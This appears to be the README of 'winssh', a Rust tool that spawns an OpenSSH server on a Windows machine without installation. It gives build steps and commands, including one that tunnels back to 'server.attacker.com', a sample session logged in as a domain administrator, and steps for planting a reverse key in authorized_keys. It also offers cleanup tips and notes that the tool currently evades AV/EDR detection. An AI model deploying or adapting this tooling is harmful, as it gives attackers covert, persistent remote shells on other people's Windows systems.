Spawns a ssh server on windows. No installation required. Based on https://github.com/PowerShell/Win32-OpenSSH/.
When launched without arguments, winssh.exe default to start an OpenSSH server on port 127.0.0.1:8022.
You can specify a port using:
winssh.exe --port <port>
You can also specify a server and port to connect back to using:
winssh.exe --tunnel-server server.attacker.com --tunnel-port 2222
Then on your machine, you can just connect to the ssh port you forwarded:
ssh -i files/key dummy@localhost -p 8022
WORK-JUNON\administrator
ssh -i files/key 'WORK-JUNON\administrator'@localhost -p 8022
work-junon\administrator@S021M015 C:\Users\administrator.WORK-JUNON>
Note that the server banner is the username we need to use to connect!
On every build new keys will be generated. After starting the server you can use the "key" from the files directory. The key key_reverse from the files directory is used to connect back to the remote server (if specified) so you will need to add it to your authorized_keys file, e.g.:
cat files/reverse_key.pub >> /home/tunnel/.ssh/authorized_keys
rustup target add x86_64-pc-windows-gnu
rustup toolchain install stable-x86_64-pc-windows-gnu
Windows:
cargo build --release --target x86_64-pc-windows-gnu
To reduce the filesize further, you can strip the binaries with strip.
If you want to run without any arguments modify the source to hardcode the default values for tunnel-server and both ports. To clean up you want to delete the temp directory in \windows\temp (random name) that has the ssh files.
This is not opsec safe - it runs various powershell commands and leaves files in \temp. However it's currently not being flagged by AV/EDR. If you need it opsec safe you'll have to make some modifications.